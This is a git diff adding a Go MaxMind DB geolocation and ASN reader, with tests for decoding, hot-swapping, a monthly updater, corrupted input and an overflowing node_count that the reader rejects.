--- /dev/null +++ b/internal/geo/geo_test.go @@ -0,0 +1,562 @@ +package geo + +import ( + "bytes" + "compress/gzip" + "context" + "fmt" + "math/big" + "net/http" + "net/http/httptest" + "net/netip" + "os" + "path/filepath" + "reflect" + "runtime" + "strings" + "sync" + "sync/atomic" + "testing" + "time" +) + +func names(en, pt string) map[string]any { + m := map[string]any{"en": en} + if pt != "" { + m["pt-BR"] = pt + } + return m +} + +func cityRec(cc, en, pt, cont, region, city string, lat, lon float64) map[string]any { + return map[string]any{ + "continent": map[string]any{"code": cont, "names": names("x", "")}, + "country": map[string]any{"iso_code": cc, "names": names(en, pt)}, + "subdivisions": []any{map[string]any{"names": names(region, "")}, map[string]any{"names": names("segunda", "")}}, + "city": map[string]any{"names": names(city, "")}, + "location": map[string]any{"latitude": lat, "longitude": lon}, + } +} + +func asnRec(n uint32, org string) map[string]any { + return map[string]any{"autonomous_system_number": u32(n), "autonomous_system_organization": org} +} + +func pf(s string) netip.Prefix { return netip.MustParsePrefix(s) } +func ad(s string) netip.Addr { return netip.MustParseAddr(s) } + +func cityEntries() []mmEntry { + return []mmEntry{ + {pf("8.8.8.0/24"), cityRec("US", "United States", "Estados Unidos", "NA", "California", "Mountain View", 37.4, -122.08)}, + {pf("200.160.0.0/20"), cityRec("BR", "Brazil", "Brasil", "SA", "São Paulo", "São Paulo", -23.5, -46.6)}, + {pf("200.160.2.0/24"), cityRec("BR", "Brazil", "Brasil", "SA", "São Paulo", "Osasco", -23.53, -46.79)}, + {pf("2001:4860:4860::/48"), cityRec("US", "United States", "", "NA", "California", "Mountain View", 37.4, -122.08)}, + {pf("2a00::/12"), cityRec("DE", "Germany", "Alemanha", "EU", "", "", 51.0, 9.0)}, + } +} + +func asnEntries() []mmEntry { + return []mmEntry{ + {pf("8.8.8.0/24"), asnRec(15169, "GOOGLE")}, + {pf("1.1.1.0/24"), asnRec(13335, "CLOUDFLARENET")}, + {pf("2001:4860::/32"), asnRec(15169, "GOOGLE")}, + } +} + +func writeFile(t testing.TB, dir, name string, b []byte) string { + t.Helper() + p := filepath.Join(dir, name) + if err := os.WriteFile(p, b, 0o644); err != nil { + t.Fatal(err) + } + return p +} + +func atomicWrite(t testing.TB, dir, name string, b []byte) { + t.Helper() + tmp := filepath.Join(dir, ".w-"+name) + if err := os.WriteFile(tmp, b, 0o644); err != nil { + t.Fatal(err) + } + if err := os.Rename(tmp, filepath.Join(dir, name)); err != nil { + t.Fatal(err) + } +} + +func TestDecodeAllTypes(t *testing.T) { + big128 := new(big.Int).Lsh(big.NewInt(1), 100) + long := strings.Repeat("a", 300) + vlong := strings.Repeat("b", 70000) + rec := map[string]any{ + "str": "olá", + "long": long, + "vlong": vlong, + "mid": strings.Repeat("c", 40), + "dbl": 3.14159, + "flt": f32(1.5), + "bytes": []byte{1, 2, 3}, + "u16": u16(65535), + "u32": u32(4000000000), + "u64": u64(1 << 60), + "zero": u16(0), + "u128": u128{big128}, + "i32": i32(-5), + "true": true, + "false": false, + "arr": []any{"a", u16(2), map[string]any{"k": "v"}}, + "nested": map[string]any{"a": map[string]any{"b": map[string]any{"c": "deep"}}}, + } + for _, ptrs := range []bool{false, true} { + data := buildMMDB(6, 24, []mmEntry{{pf("1.2.3.0/24"), rec}, {pf("1.2.4.0/24"), rec}}, ptrs, 1, "T") + r, err := newReader(data) + if err != nil { + t.Fatal(err) + } + for _, ip := range []string{"1.2.3.4", "1.2.4.200"} { + off, ok := r.find(ad(ip)) + if !ok { + t.Fatal("não achou", ip) + } + got, err := r.dec.decode(off, 0) + if err != nil { + t.Fatal(err) + } + m := got.(map[string]any) + want := map[string]any{ + "str": "olá", "long": long, "vlong": vlong, "mid": strings.Repeat("c", 40), + "dbl": 3.14159, "flt": float64(float32(1.5)), "bytes": []byte{1, 2, 3}, + "u16": uint64(65535), "u32": uint64(4000000000), "u64": uint64(1 << 60), "zero": uint64(0), + "i32": int32(-5), "true": true, "false": false, + "arr": []any{"a", uint64(2), map[string]any{"k": "v"}}, + "nested": map[string]any{"a": map[string]any{"b": map[string]any{"c": "deep"}}}, + } + if m["u128"].(*big.Int).Cmp(big128) != 0 { + t.Fatal("u128") + } + delete(m, "u128") + if !reflect.DeepEqual(m, want) { + t.Fatalf("ptrs=%v decode difere:\n%v\n%v", ptrs, m, want) + } + } + if _, ok := r.find(ad("1.2.5.1")); ok { + t.Fatal("não devia achar") + } + } +} + +func TestResolverLookup(t *testing.T) { + for _, rs := range []int{24, 28, 32} { + for _, ptrs := range []bool{false, true} { + dir := t.TempDir() + writeFile(t, dir, "dbip-city-lite-2026-11.mmdb", buildMMDB(6, rs, cityEntries(), ptrs, 1760000000, "DBIP-City-Lite")) + writeFile(t, dir, "dbip-asn-lite-2026-11.mmdb", buildMMDB(6, rs, asnEntries(), ptrs, 1760000000, "DBIP-ASN-Lite")) + r, err := Open(dir) + if err != nil { + t.Fatal(err) + } + g := r.Lookup(ad("8.8.8.8")) + want := Info{"US", "United States", "Estados Unidos", "NA", "California", "Mountain View", 37.4, -122.08, 15169, "GOOGLE"} + if g != want { + t.Fatalf("rs=%d ptrs=%v: %+v", rs, ptrs, g) + } + if g := r.Lookup(ad("200.160.2.3")); g.City != "Osasco" || g.CountryCode != "BR" || g.ASN != 0 { + t.Fatalf("%+v", g) + } + if g := r.Lookup(ad("200.160.9.3")); g.City != "São Paulo" { + t.Fatalf("%+v", g) + } + if g := r.Lookup(ad("1.1.1.1")); g.ASN != 13335 || g.ASOrg != "CLOUDFLARENET" || g.CountryCode != "" { + t.Fatalf("%+v", g) + } + if g := r.Lookup(ad("2001:4860:4860::8888")); g.CountryCode != "US" || g.ASN != 15169 || g.CountryPT != "" { + t.Fatalf("%+v", g) + } + if g := r.Lookup(ad("2a02::1")); g.Country != "Germany" || g.City != "" || g.Region != "" { + t.Fatalf("%+v", g) + } + // IPv4 mapeado em IPv6 + if g := r.Lookup(ad("::ffff:8.8.8.8")); g.ASN != 15169 { + t.Fatalf("%+v", g) + } + for _, p := range []string{"10.1.2.3", "192.168.0.1", "127.0.0.1", "::1", "fe80::1", "0.0.0.0", "fd00::1", "224.0.0.1"} { + if g := r.Lookup(ad(p)); g != (Info{}) { + t.Fatalf("%s: %+v", p, g) + } + } + if g := r.Lookup(netip.Addr{}); g != (Info{}) { + t.Fatal("inválido") + } + // cache: segunda chamada igual + if r.Lookup(ad("8.8.8.8")) != want { + t.Fatal("cache") + } + st := r.Status() + if !st.City.Loaded || !st.ASN.Loaded || st.City.Build.Unix() != 1760000000 || st.City.Type != "DBIP-City-Lite" { + t.Fatalf("%+v", st) + } + if err := r.Close(); err != nil { + t.Fatal(err) + } + if r.Lookup(ad("8.8.8.8")) != (Info{}) { + t.Fatal("após Close") + } + } + } +} + +func TestIPv4Tree(t *testing.T) { + dir := t.TempDir() + writeFile(t, dir, "dbip-asn-lite-2026-11.mmdb", buildMMDB(4, 24, []mmEntry{{pf("1.1.1.0/24"), asnRec(13335, "CF")}}, true, 1, "x")) + r, _ := Open(dir) + defer r.Close() + if g := r.Lookup(ad("1.1.1.1")); g.ASN != 13335 { + t.Fatalf("%+v", g) + } + if g := r.Lookup(ad("2001:db8::1")); g != (Info{}) { + t.Fatalf("%+v", g) + } +} + +func TestEmptyDir(t *testing.T) { + r, err := Open(filepath.Join(t.TempDir(), "novo")) + if err != nil { + t.Fatal(err) + } + defer r.Close() + if g := r.Lookup(ad("8.8.8.8")); g != (Info{}) { + t.Fatal(g) + } + if r.Status().City.Loaded { + t.Fatal("loaded") + } +} + +func TestCorruptNoPanic(t *testing.T) { + good := buildMMDB(6, 28, cityEntries(), true, 1, "x") + i := bytes.LastIndex(good, metaMarker) + treeEnd := i + // corrompe a seção de dados de várias formas + for seed := 0; seed < 300; seed++ { + b := append([]byte(nil), good...) + for k := 0; k < 4; k++ { + pos := (seed*7919 + k*104729) % treeEnd + b[pos] ^= byte(seed*31 + k*17 + 1) + } + r, err := newReader(b) + if err != nil { + continue + } + for _, ip := range []string{"8.8.8.8", "200.160.2.3", "2001:4860:4860::8888", "2a02::1", "1.1.1.1"} { + if off, ok := r.find(ad(ip)); ok { + var in Info + fillCity(r.dec, off, &in) + fillASN(r.dec, off, &in) + } + } + } + if _, err := newReader([]byte("lixo")); err == nil { + t.Fatal("esperava erro") + } +} + +// Troca a quente concorrente: leitores nunca veem base fechada nem dados inconsistentes. +func TestHotSwapConcurrent(t *testing.T) { + dir := t.TempDir() + mk := func(org string, epoch uint64) []byte { + return buildMMDB(6, 24, []mmEntry{{pf("8.8.8.0/24"), asnRec(15169, org)}}, true, epoch, "x") + } + pA := writeFile(t, dir, "dbip-asn-lite-2026-10.mmdb", mk("A", 1)) + pB := writeFile(t, dir, "dbip-asn-lite-2026-11.mmdb", mk("B", 2)) + r, err := Open(dir) + if err != nil { + t.Fatal(err) + } + defer r.Close() + stop := make(chan struct{}) + var wg sync.WaitGroup + var bad atomic.Int64 + var n atomic.Int64 + for g := 0; g < 8; g++ { + wg.Add(1) + go func(g int) { + defer wg.Done() + for i := 0; ; i++ { + select { + case <-stop: + return + default: + } + ip := netip.AddrFrom4([4]byte{8, 8, 8, byte(i)}) + in := r.lookupRaw(ip) // sem cache, exercita o mmap + if in.ASN != 15169 || (in.ASOrg != "A" && in.ASOrg != "B") { + bad.Add(1) + } + r.Lookup(ip) + n.Add(1) + } + }(g) + } + for i := 0; i < 200; i++ { + p := pA + if i%2 == 0 { + p = pB + } + if err := r.install(kindASN, p); err != nil { + t.Fatal(err) + } + // install apaga arquivos mais velhos: recria com rename atômico + // (truncar um arquivo mapeado causaria SIGBUS, e o updater nunca faz isso) + atomicWrite(t, dir, "dbip-asn-lite-2026-10.mmdb", mk("A", 1)) + atomicWrite(t, dir, "dbip-asn-lite-2026-11.mmdb", mk("B", 2)) + } + close(stop) + wg.Wait() + if bad.Load() != 0 { + t.Fatalf("%d leituras inconsistentes de %d", bad.Load(), n.Load()) + } +} + +func gz(t testing.TB, b []byte) []byte { + var buf bytes.Buffer + w := gzip.NewWriter(&buf) + w.Write(b) + w.Close() + return buf.Bytes() +} + +func TestUpdater(t *testing.T) { + cur := time.Now().UTC().Format("2006-01") + cityGz := gz(t, buildMMDB(6, 28, cityEntries(), true, uint64(time.Now().Unix()), "DBIP-City-Lite")) + asnGz := gz(t, buildMMDB(6, 24, asnEntries(), true, uint64(time.Now().Unix()), "DBIP-ASN-Lite")) + var reqs atomic.Int64 + srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, rq *http.Request) { + reqs.Add(1) + if strings.Contains(rq.URL.Path, cur) { // mês corrente ainda não publicado + http.NotFound(w, rq) + return + } + switch { + case strings.Contains(rq.URL.Path, "city"): + w.Write(cityGz) + case strings.Contains(rq.URL.Path, "asn"): + w.Write(asnGz) + default: + http.NotFound(w, rq) + } + })) + defer srv.Close() + old := downloadBase + downloadBase = srv.URL + "/free/" + defer func() { downloadBase = old }() + + dir := t.TempDir() + // base velha de 2 meses atrás que deve ser removida + writeFile(t, dir, "dbip-asn-lite-2020-01.mmdb", buildMMDB(6, 24, asnEntries(), false, 1, "old")) + r, err := Open(dir) + if err != nil { + t.Fatal(err) + } + defer r.Close() + ctx, cancel := context.WithCancel(context.Background()) + defer cancel() + r.StartUpdater(ctx, time.Hour, srv.Client()) + deadline := time.Now().Add(10 * time.Second) + for time.Now().Before(deadline) { + st := r.Status() + if st.City.Loaded && st.ASN.Loaded && !st.LastCheck.IsZero() && st.ASN.Type == "DBIP-ASN-Lite" { + break + } + time.Sleep(20 * time.Millisecond) + } + if g := r.Lookup(ad("8.8.8.8")); g.CountryCode != "US" || g.ASN != 15169 { + t.Fatalf("%+v %+v", g, r.Status()) + } + if _, err := os.Stat(filepath.Join(dir, "dbip-asn-lite-2020-01.mmdb")); err == nil { + t.Fatal("base antiga não foi removida") + } + if m, _ := filepath.Glob(filepath.Join(dir, ".tmp-*")); len(m) != 0 { + t.Fatal("sobrou tmp", m) + } + if st := r.Status(); st.LastError != "" { + t.Fatal(st.LastError) + } + // ciclo seguinte não baixa de novo o que já tem + n := reqs.Load() + r.updateAll(ctx, srv.Client(), true) + if reqs.Load() != n+2 { // só os 404 do mês corrente + t.Fatalf("requisições extras: %d", reqs.Load()-n) + } +} + +func TestUpdaterFailureKeepsWorking(t *testing.T) { + srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, rq *http.Request) { + if strings.Contains(rq.URL.Path, "asn") { + w.Write([]byte("isso não é gzip")) + return + } + http.Error(w, "boom", 500) + })) + defer srv.Close() + old := downloadBase + downloadBase = srv.URL + "/" + defer func() { downloadBase = old }() + dir := t.TempDir() + writeFile(t, dir, "dbip-asn-lite-2020-01.mmdb", buildMMDB(6, 24, asnEntries(), false, 1, "old")) + r, _ := Open(dir) + defer r.Close() + r.updateAll(context.Background(), srv.Client(), false) + st := r.Status() + if st.LastError == "" { + t.Fatal("esperava erro registrado") + } + if g := r.Lookup(ad("8.8.8.8")); g.ASN != 15169 { + t.Fatalf("base antiga deveria seguir valendo: %+v", g) + } + if m, _ := filepath.Glob(filepath.Join(dir, ".tmp-*")); len(m) != 0 { + t.Fatal("sobrou tmp") + } +} + +func TestLRUEvicts(t *testing.T) { + c := newLRU(3) + for i := 0; i < 10; i++ { + c.put(netip.AddrFrom4([4]byte{1, 1, 1, byte(i)}), Info{ASN: uint32(i)}) + } + if c.l.Len() != 3 || len(c.m) != 3 { + t.Fatal(c.l.Len()) + } + if in, ok := c.get(netip.AddrFrom4([4]byte{1, 1, 1, 9})); !ok || in.ASN != 9 { + t.Fatal("recente sumiu") + } + if _, ok := c.get(netip.AddrFrom4([4]byte{1, 1, 1, 0})); ok { + t.Fatal("antigo ficou") + } +} + +// Integração com as bases reais: URUTAU_GEO_TESTDATA=. +func TestRealData(t *testing.T) { + dir := os.Getenv("URUTAU_GEO_TESTDATA") + if dir == "" { + t.Skip("URUTAU_GEO_TESTDATA não definido") + } + r, err := Open(dir) + if err != nil { + t.Fatal(err) + } + defer r.Close() + st := r.Status() + if !st.City.Loaded || !st.ASN.Loaded { + t.Fatalf("bases não carregadas: %+v", st) + } + t.Logf("status: %+v", st) + cases := []struct { + ip string + cc string + asn uint32 + org string + }{ + {"8.8.8.8", "US", 15169, "Google"}, + {"1.1.1.1", "", 13335, "Cloudflare"}, + {"200.160.2.3", "BR", 0, ""}, + // o DB-IP geolocaliza este anycast IPv6 no Canadá; o ASN é o que importa + {"2001:4860:4860::8888", "", 15169, "Google"}, + } + for _, c := range cases { + in := r.Lookup(ad(c.ip)) + t.Logf("%s => %+v", c.ip, in) + if c.cc != "" && in.CountryCode != c.cc { + t.Errorf("%s: cc=%q", c.ip, in.CountryCode) + } + if c.asn != 0 && in.ASN != c.asn { + t.Errorf("%s: asn=%d", c.ip, in.ASN) + } + if c.org != "" && !strings.Contains(in.ASOrg, c.org) { + t.Errorf("%s: org=%q", c.ip, in.ASOrg) + } + } + if in := r.Lookup(ad("200.160.2.3")); in.CountryPT != "Brasil" || in.ASN == 0 { + t.Errorf("pt/asn BR: %+v", in) + } +} + +func benchResolver(b *testing.B) (*Resolver, []netip.Addr) { + dir := os.Getenv("URUTAU_GEO_TESTDATA") + var r *Resolver + if dir != "" { + r, _ = Open(dir) + } else { + d := b.TempDir() + writeFile(b, d, "dbip-city-lite-2026-11.mmdb", buildMMDB(6, 28, cityEntries(), true, 1, "x")) + writeFile(b, d, "dbip-asn-lite-2026-11.mmdb", buildMMDB(6, 24, asnEntries(), true, 1, "x")) + r, _ = Open(d) + } + ips := make([]netip.Addr, 4096) + x := uint32(12345) + for i := range ips { + x = x*1664525 + 1013904223 + ips[i] = netip.AddrFrom4([4]byte{byte(x >> 24), byte(x >> 16), byte(x >> 8), byte(x)}) + if i%8 == 7 { + ips[i] = ad(fmt.Sprintf("2001:4860:%x::8888", i)) + } + } + return r, ips +} + +func BenchmarkLookupNoCache(b *testing.B) { + r, ips := benchResolver(b) + defer r.Close() + b.ReportAllocs() + b.ResetTimer() + for i := 0; i < b.N; i++ { + r.lookupRaw(ips[i&4095]) + } +} + +func BenchmarkLookupCached(b *testing.B) { + r, ips := benchResolver(b) + defer r.Close() + ips = ips[:512] + for _, ip := range ips { + r.Lookup(ip) + } + b.ReportAllocs() + b.ResetTimer() + for i := 0; i < b.N; i++ { + r.Lookup(ips[i&511]) + } +} + +// Mede RSS e heap com a base city mapeada: mmap não deve entrar no heap. +func TestRealMemory(t *testing.T) { + dir := os.Getenv("URUTAU_GEO_TESTDATA") + if dir == "" { + t.Skip("URUTAU_GEO_TESTDATA não definido") + } + rss := func() string { + b, _ := os.ReadFile("/proc/self/status") + var out []string + for _, l := range strings.Split(string(b), "\n") { + if strings.HasPrefix(l, "VmRSS") || strings.HasPrefix(l, "RssAnon") || strings.HasPrefix(l, "RssFile") { + out = append(out, strings.Join(strings.Fields(l), " ")) + } + } + return strings.Join(out, " | ") + } + var ms runtime.MemStats + runtime.GC() + runtime.ReadMemStats(&ms) + t.Logf("antes: heap=%d KiB %s", ms.HeapAlloc/1024, rss()) + r, err := Open(dir) + if err != nil { + t.Fatal(err) + } + defer r.Close() + x := uint32(7) + for i := 0; i < 20000; i++ { + x = x*1664525 + 1013904223 + r.Lookup(netip.AddrFrom4([4]byte{byte(x >> 24), byte(x >> 16), byte(x >> 8), byte(x)})) + } + runtime.GC() + runtime.ReadMemStats(&ms) + t.Logf("depois: heap=%d KiB %s", ms.HeapAlloc/1024, rss()) +} diff --git a/internal/geo/hardening_test.go b/internal/geo/hardening_test.go new file mode 100644 index 0000000..ed3f7e6 --- /dev/null +++ b/internal/geo/hardening_test.go @@ -0,0 +1,52 @@ +package geo + +import ( + "bytes" + "net/netip" + "testing" +) + +// A node_count so large that node_count*node_bytes overflows must be refused: +// before the fix the tree-size check passed and lookups indexed outside the file. +func TestOverflowingNodeCountIsRefused(t *testing.T) { + u64 := func(v uint64) []byte { + b := []byte{} + for i := 7; i >= 0; i-- { + b = append(b, byte(v>>(8*uint(i)))) + } + return append([]byte{0x08, 0x02}, b...) + } + str := func(s string) []byte { return append([]byte{0x40 | byte(len(s))}, s...) } + u16 := func(v uint16) []byte { return []byte{0xa2, byte(v >> 8), byte(v)} } + for _, count := range []uint64{1 << 63, 1 << 62, 1<<64 - 1, 1 << 40} { + var m bytes.Buffer + m.WriteByte(0xe5) + m.Write(str("node_count")) + m.Write(u64(count)) + m.Write(str("record_size")) + m.Write(u16(24)) + m.Write(str("ip_version")) + m.Write(u16(4)) + m.Write(str("binary_format_major_version")) + m.Write(u16(2)) + m.Write(str("build_epoch")) + m.Write(u16(1)) + var f bytes.Buffer + f.Write(bytes.Repeat([]byte{0x7f}, 64)) + f.Write(make([]byte, 16)) + f.WriteString("\xab\xcd\xefMaxMind.com") + f.Write(m.Bytes()) + r, err := newReader(f.Bytes()) + if err == nil { + func() { + defer func() { + if p := recover(); p != nil { + t.Fatalf("node_count %d accepted and a lookup panicked: %v", count, p) + } + }() + r.find(netip.MustParseAddr("8.8.8.8")) + }() + t.Fatalf("node_count %d must be refused", count) + } + } +} diff --git a/internal/geo/mmdb.go b/internal/geo/mmdb.go new file mode 100644 index 0000000..1f74a1f --- /dev/null +++ b/internal/geo/mmdb.go @@ -0,0 +1,537 @@ +package geo + +import ( + "bytes" + "encoding/binary" + "errors" + "fmt" + "math" + "math/big" + "net/netip" + "os" + "sync" + "syscall" +) + +// Leitor MaxMind DB (MMDB) v2 implementado do zero, somente leitura. + +const ( + tPointer = 1 + tString = 2 + tDouble = 3 + tBytes = 4 + tUint16 = 5 + tUint32 = 6 + tMap = 7 + tInt32 = 8 + tUint64 = 9 + tUint128 = 10 + tArray = 11 + tContainer = 12 + tEnd = 13 + tBool = 14 + tFloat = 15 + + maxDepth = 64 +) + +var metaMarker = []byte("\xab\xcd\xefMaxMind.com") + +var errCorrupt = errors.New("mmdb: dados corrompidos") + +// decoder decodifica a seção de dados (ou de metadados); ponteiros são +// relativos ao início de buf. +type decoder struct{ buf []byte } + +// header lê o byte de controle em off. Para ponteiros devolve typ=tPointer, +// size=alvo e data=offset logo após o ponteiro. +func (d decoder) header(off uint) (typ byte, size uint, data uint, err error) { + b := d.buf + if off >= uint(len(b)) { + return 0, 0, 0, errCorrupt + } + ctrl := b[off] + off++ + typ = ctrl >> 5 + if typ == tPointer { + ss := uint(ctrl>>3) & 3 + n := ss + 1 + if off+n > uint(len(b)) { + return 0, 0, 0, errCorrupt + } + var v uint + if ss == 3 { + v = uint(binary.BigEndian.Uint32(b[off:])) + } else { + v = uint(ctrl & 7) + for i := uint(0); i < n; i++ { + v = v<<8 | uint(b[off+i]) + } + switch ss { + case 1: + v += 2048 + case 2: + v += 526336 + } + } + return tPointer, v, off + n, nil + } + if typ == 0 { + if off >= uint(len(b)) { + return 0, 0, 0, errCorrupt + } + typ = 7 + b[off] + off++ + } + size = uint(ctrl & 0x1f) + if size >= 29 { + n := size - 28 // 1, 2 ou 3 bytes + if off+n > uint(len(b)) { + return 0, 0, 0, errCorrupt + } + var v uint + for i := uint(0); i < n; i++ { + v = v<<8 | uint(b[off+i]) + } + switch n { + case 1: + v += 29 + case 2: + v += 285 + default: + v += 65821 + } + size = v + off += n + } + return typ, size, off, nil +} + +// resolve segue ponteiros e devolve o offset do valor real. +func (d decoder) resolve(off uint) (uint, error) { + for i := 0; i < 4; i++ { + typ, size, _, err := d.header(off) + if err != nil { + return 0, err + } + if typ != tPointer { + return off, nil + } + off = size + } + return 0, errCorrupt +} + +// skip devolve o offset logo após o valor em off (ponteiros ocupam só o próprio tamanho). +func (d decoder) skip(off uint, depth int) (uint, error) { + if depth > maxDepth { + return 0, errCorrupt + } + typ, size, data, err := d.header(off) + if err != nil { + return 0, err + } + switch typ { + case tPointer, tBool: + return data, nil + case tMap, tArray: + n := size + if typ == tMap { + n *= 2 + } + if n > uint(len(d.buf)) { + return 0, errCorrupt + } + for i := uint(0); i < n; i++ { + if data, err = d.skip(data, depth+1); err != nil { + return 0, err + } + } + return data, nil + case tContainer, tEnd: + return 0, errCorrupt + default: + if data+size > uint(len(d.buf)) { + return 0, errCorrupt + } + return data + size, nil + } +} + +// str devolve os bytes de uma string em off (resolvendo ponteiro), sem copiar. +func (d decoder) str(off uint) ([]byte, error) { + v, err := d.resolve(off) + if err != nil { + return nil, err + } + typ, size, data, err := d.header(v) + if err != nil { + return nil, err + } + if typ != tString || data+size > uint(len(d.buf)) { + return nil, errCorrupt + } + return d.buf[data : data+size], nil +} + +func (d decoder) uintAt(off uint) (uint64, error) { + v, err := d.resolve(off) + if err != nil { + return 0, err + } + typ, size, data, err := d.header(v) + if err != nil { + return 0, err + } + switch typ { + case tUint16, tUint32, tUint64: + default: + return 0, errCorrupt + } + if size > 8 || data+size > uint(len(d.buf)) { + return 0, errCorrupt + } + var x uint64 + for _, c := range d.buf[data : data+size] { + x = x<<8 | uint64(c) + } + return x, nil +} + +func (d decoder) floatAt(off uint) (float64, error) { + v, err := d.resolve(off) + if err != nil { + return 0, err + } + typ, size, data, err := d.header(v) + if err != nil { + return 0, err + } + switch { + case typ == tDouble && size == 8 && data+8 <= uint(len(d.buf)): + return math.Float64frombits(binary.BigEndian.Uint64(d.buf[data:])), nil + case typ == tFloat && size == 4 && data+4 <= uint(len(d.buf)): + return float64(math.Float32frombits(binary.BigEndian.Uint32(d.buf[data:]))), nil + } + return 0, errCorrupt +} + +// mapEntries chama fn para cada par chave/valor do mapa em off. +func (d decoder) mapEntries(off uint, fn func(key []byte, val uint) error) error { + v, err := d.resolve(off) + if err != nil { + return err + } + typ, size, p, err := d.header(v) + if err != nil { + return err + } + if typ != tMap || size > uint(len(d.buf)) { + return errCorrupt + } + for i := uint(0); i < size; i++ { + k, err := d.str(p) + if err != nil { + return err + } + if p, err = d.skip(p, 0); err != nil { + return err + } + if err = fn(k, p); err != nil { + return err + } + if p, err = d.skip(p, 0); err != nil { + return err + } + } + return nil +} + +// decode produz uma representação genérica (usada em metadados e testes): +// map[string]any, []any, string, []byte, float64, uint64, *big.Int, int32, bool. +func (d decoder) decode(off uint, depth int) (any, error) { + if depth > maxDepth { + return nil, errCorrupt + } + v, err := d.resolve(off) + if err != nil { + return nil, err + } + typ, size, p, err := d.header(v) + if err != nil { + return nil, err + } + switch typ { + case tMap: + if size > uint(len(d.buf)) { + return nil, errCorrupt + } + m := make(map[string]any, size) + for i := uint(0); i < size; i++ { + k, err := d.str(p) + if err != nil { + return nil, err + } + if p, err = d.skip(p, 0); err != nil { + return nil, err + } + val, err := d.decode(p, depth+1) + if err != nil { + return nil, err + } + m[string(k)] = val + if p, err = d.skip(p, 0); err != nil { + return nil, err + } + } + return m, nil + case tArray: + if size > uint(len(d.buf)) { + return nil, errCorrupt + } + a := make([]any, 0, size) + for i := uint(0); i < size; i++ { + val, err := d.decode(p, depth+1) + if err != nil { + return nil, err + } + a = append(a, val) + if p, err = d.skip(p, 0); err != nil { + return nil, err + } + } + return a, nil + case tString: + s, err := d.str(v) + return string(s), err + case tBytes: + if p+size > uint(len(d.buf)) { + return nil, errCorrupt + } + return append([]byte(nil), d.buf[p:p+size]...), nil + case tDouble, tFloat: + return d.floatAt(v) + case tUint16, tUint32, tUint64: + return d.uintAt(v) + case tUint128: + if size > 16 || p+size > uint(len(d.buf)) { + return nil, errCorrupt + } + return new(big.Int).SetBytes(d.buf[p : p+size]), nil + case tInt32: + if size > 4 || p+size > uint(len(d.buf)) { + return nil, errCorrupt + } + var x uint32 + for _, c := range d.buf[p : p+size] { + x = x<<8 | uint32(c) + } + return int32(x), nil + case tBool: + return size != 0, nil + } + return nil, errCorrupt +} + +// reader é um MMDB aberto (imutável, seguro para uso concorrente). O mutex +// protege apenas o fechamento: leitores seguram RLock enquanto usam o mapa. +type reader struct { + mu sync.RWMutex + closed bool + + buf []byte // arquivo inteiro (mmap ou heap) + unmap func() error + dec decoder // seção de dados + nodeCount uint + recSize uint + nodeBytes uint + ipVersion uint + ipv4Start uint + treeSize uint + + DatabaseType string + BuildEpoch uint64 + Meta map[string]any +} + +func openReader(path string) (*reader, error) { + f, err := os.Open(path) + if err != nil { + return nil, err + } + defer f.Close() + st, err := f.Stat() + if err != nil { + return nil, err + } + var buf []byte + var unmap func() error + if st.Size() > 0 { + if m, err := syscall.Mmap(int(f.Fd()), 0, int(st.Size()), syscall.PROT_READ, syscall.MAP_SHARED); err == nil { + buf = m + unmap = func() error { return syscall.Munmap(m) } + } + } + if buf == nil { + if buf, err = os.ReadFile(path); err != nil { + return nil, err + } + } + r, err := newReader(buf) + if err != nil { + if unmap != nil { + unmap() + } + return nil, err + } + r.unmap = unmap + return r, nil +} + +func newReader(buf []byte) (*reader, error) { + i := bytes.LastIndex(buf, metaMarker) + if i < 0 { + return nil, errors.New("mmdb: metadados não encontrados") + } + metaBuf := buf[i+len(metaMarker):] + md := decoder{buf: metaBuf} + mv, err := md.decode(0, 0) + if err != nil { + return nil, fmt.Errorf("mmdb: metadados: %w", err) + } + meta, ok := mv.(map[string]any) + if !ok { + return nil, errors.New("mmdb: metadados inválidos") + } + getu := func(k string) uint64 { x, _ := meta[k].(uint64); return x } + r := &reader{buf: buf, Meta: meta} + r.nodeCount = uint(getu("node_count")) + r.recSize = uint(getu("record_size")) + r.ipVersion = uint(getu("ip_version")) + r.BuildEpoch = getu("build_epoch") + r.DatabaseType, _ = meta["database_type"].(string) + if major := getu("binary_format_major_version"); major != 2 { + return nil, fmt.Errorf("mmdb: versão %d não suportada", major) + } + if r.recSize != 24 && r.recSize != 28 && r.recSize != 32 { + return nil, fmt.Errorf("mmdb: record_size %d inválido", r.recSize) + } + if r.ipVersion != 4 && r.ipVersion != 6 { + return nil, errors.New("mmdb: ip_version inválido") + } + r.nodeBytes = r.recSize / 4 + // bound the node count BEFORE multiplying: a huge value would overflow and + // make the tree-size check pass while lookups index far outside the file + if r.nodeCount == 0 || r.nodeCount > uint(len(buf))/r.nodeBytes { + return nil, errors.New("mmdb: node_count inválido") + } + r.treeSize = r.nodeCount * r.nodeBytes + dataStart := r.treeSize + 16 + if dataStart > uint(i) { + return nil, errors.New("mmdb: árvore inválida") + } + r.dec = decoder{buf: buf[dataStart:i]} + if r.ipVersion == 6 { + node := uint(0) + for b := 0; b < 96 && node < r.nodeCount; b++ { + node = r.readNode(node, 0) + } + r.ipv4Start = node + } + return r, nil +} + +func (r *reader) readNode(node uint, bit byte) uint { + o := node * r.nodeBytes + b := r.buf[o : o+r.nodeBytes] + switch r.recSize { + case 24: + if bit == 0 { + return uint(b[0])<<16 | uint(b[1])<<8 | uint(b[2]) + } + return uint(b[3])<<16 | uint(b[4])<<8 | uint(b[5]) + case 28: + if bit == 0 { + return uint(b[3]&0xF0)<<20 | uint(b[0])<<16 | uint(b[1])<<8 | uint(b[2]) + } + return uint(b[3]&0x0F)<<24 | uint(b[4])<<16 | uint(b[5])<<8 | uint(b[6]) + default: + if bit == 0 { + return uint(binary.BigEndian.Uint32(b[0:4])) + } + return uint(binary.BigEndian.Uint32(b[4:8])) + } +} + +// find devolve o offset do registro na seção de dados. +func (r *reader) find(ip netip.Addr) (uint, bool) { + ip = ip.Unmap() + var a16 [16]byte + var addr []byte + node := uint(0) + if ip.Is4() { + a4 := ip.As4() + addr = a4[:] + node = r.ipv4Start + } else { + if r.ipVersion == 4 { + return 0, false + } + a16 = ip.As16() + addr = a16[:] + } + bits := len(addr) * 8 + for i := 0; i < bits && node < r.nodeCount; i++ { + node = r.readNode(node, (addr[i>>3]>>(7-uint(i&7)))&1) + } + if node <= r.nodeCount { + return 0, false + } + off := node - r.nodeCount - 16 + if off >= uint(len(r.dec.buf)) { + return 0, false + } + return off, true +} + +// acquire/release protegem o uso do mapeamento contra close concorrente. 